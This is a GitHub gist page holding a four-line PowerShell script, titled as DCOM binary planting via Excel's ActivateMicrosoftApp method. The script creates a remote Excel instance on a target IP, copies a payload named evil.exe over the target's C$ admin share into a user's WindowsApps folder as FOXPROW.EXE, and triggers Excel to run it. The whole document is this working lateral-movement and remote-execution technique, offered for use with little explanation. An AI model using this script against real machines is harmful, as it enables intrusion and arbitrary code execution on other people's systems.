Skip to content

Instantly share code, notes, and snippets.

@rxwx

rxwx/foxprow.ps1

Last active September 14, 2017 15:06
  • Star 9 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
Star You must be signed in to star a gist
Embed
What would you like to do?
Learn more about clone URLs
Download ZIP
DCOM binary planting via Excel.Application.ActivateMicrosoftApp
Raw
foxprow.ps1
$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", "192.168.1.111"))
# Windows 10 specific, but searches PATH so ..
copy C:\payloads\evil.exe \\victimip\c$\Users\bob\AppData\Local\Microsoft\WindowsApps\FOXPROW.EXE
$excel.ActivateMicrosoftApp("5")
# excel executes your binary :)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment